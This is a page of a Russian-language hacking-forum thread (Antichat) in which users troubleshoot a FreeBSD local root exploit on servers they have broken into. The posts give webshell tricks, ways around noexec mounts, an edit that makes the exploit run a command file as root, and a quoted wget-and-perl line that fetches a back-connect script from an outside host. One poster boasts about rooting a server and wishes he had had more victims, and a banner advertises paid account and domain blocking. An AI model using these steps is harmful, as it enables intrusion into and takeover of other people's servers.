FreeBSD 7.1, 8 root expl.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
FreeBSD 7.1, 8 root expl.

Страница 4 из 4

Опции темы

Поиск в этой теме

Опции просмотра

#31

15.02.2010, 10:23

kfor

Участник форума

Регистрация: 01.09.2005

Сообщений: 194

С нами: 10889431

Репутация: 34

Ты наврено запускаешь из /tmp а он примантирован как no ex, корчое скопируй в другую папку куда-нить. Правда я неуверен что возьмёт 6.2 но попробуй , отпишись.

З.Ы. Есть вариант что надо сделать chmod 755 на твой скрипт.

GizmoSB, у меня ниразу не получилось скомпилить со скрипта, компиль просто кусками. Из скрипта скопируй куски кода и скомпиль.

Последний раз редактировалось kfor; 15.02.2010 в 12:42..

#32

26.03.2010, 13:15

overxor

Новичок

Регистрация: 11.09.2009

Сообщений: 23

С нами: 8771234

Репутация: 23

На самом деле бэкконнект не всегда получается делать. В этом случае можно немного поправить сплойт:
system("echo ALEX-ALEX;/bin/sh");
на system("echo ALEX-ALEX;/bin/sh cmd.sh");
после повышения привелегий сплойт будет вполнять команды из cmd.sh под рутом.
Запуск сплойта в вебшеле: w00t.sh &> out.txt. Перенаправление лучше делать потому, что веб шел не выводит stderr поток и мы не увидим ошибок. Результат читаем из out.txt.

#33

26.03.2010, 19:03

wwwall

Новичок

Регистрация: 02.12.2006

Сообщений: 10

С нами: 10231423

Репутация: 0

Цитата:

Сообщение от BlackSun

на хосте
wget -O ngix http://fsb-my.name/c/apache-handler
perl ngix your_ip 5995 2> /dev/null &

возможно ли вместо wget использовать $_GET?
т.е. чисто на пхп, не используя консольные команды
возможно ли какнибудь запустить на хосте то что накомпелено в домашних условия, при услонии что не работает с/перл/командная строка
+ нет доступа к папкам до /public_html/
в этой ситуации можно получить рут?

#34

26.03.2010, 19:10

BlackSun

Познавший АНТИЧАТ

Регистрация: 01.04.2007

Сообщений: 1,268

С нами: 10058786

Репутация: 4589

Цитата:

возможно ли вместо wget использовать $_GET?

Возможно ли использовать вместо программы-качалки массив из высокоуровниевого языка?
Возможно ли использовать вместо бензопилы бабушикины спицы, правда они погнулись?
Возможно ли швее-мотористке проектировать ядерные реакторы?

Если включен сеф мод и\или вырублены нужные функции - гугли вначале обход этих ограничений.

#35

02.04.2010, 15:21

rat.energizer

Новичок

Регистрация: 12.03.2010

Сообщений: 9

С нами: 8509324

Репутация: 5

Цитата:

Сообщение от .:[melkiy]:.

возможно что-то сделать?

хз что делать..

Код:

./qwe.sh
./qwe: Permission denied

6.2-RELEASE-p8 FreeBSD 6.2-RELEASE-p8 #0: Mon Nov 12 17:30:06 EET 2007

Скорее всего noexec флаг.
mount или /etc/fstab глянь и выбери диру другую

#36

02.04.2010, 16:26

$n@ke

Постоянный

Регистрация: 18.09.2006

Сообщений: 867

С нами: 10339586

Репутация: 1396

chmod +x filename

#37

02.04.2010, 19:17

kfor

Участник форума

Регистрация: 01.09.2005

Сообщений: 194

С нами: 10889431

Репутация: 34

Цитата:

Сообщение от rat.energizer

Скорее всего noexec флаг.
mount или /etc/fstab глянь и выбери диру другую

6-ку не берёт вроде этот сплойт

#38

05.04.2010, 20:53

mazaxaka

Участник форума

Регистрация: 16.02.2008

Сообщений: 177

С нами: 9597253

Репутация: 82

кто поможет порутать 8?

#39

12.04.2010, 08:53

zerling

Новичок

Регистрация: 04.01.2008

Сообщений: 21

С нами: 9658783

Репутация: 0

Цитата:

7.2-RELEASE-p3 FreeBSD 7.2-RELEASE-p3

рутанул сегодня вот такой сервачок )
при срабатывании сплоита в констоль выкинуло вот это
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
До этого много серваков с подходящими версиями не хотели рутаться
Эх жаль я профукал появление этого сплоита в декабре, жертв было бы гораздо больше )

#40

19.04.2010, 21:35

RazyKK

Познающий

Регистрация: 09.02.2009

Сообщений: 70

С нами: 9078977

Репутация: 34

через sh не получилось,кто может помоч по кускам выполнить стукните 600-zero91-642

Страница 4 из 4

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши вопросы по уязвимостям.	blackybr	Уязвимости	24371	27.04.2015 19:28
Помогите откомпилить!!	LoFFi	Уязвимости	19	19.03.2006 22:56

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход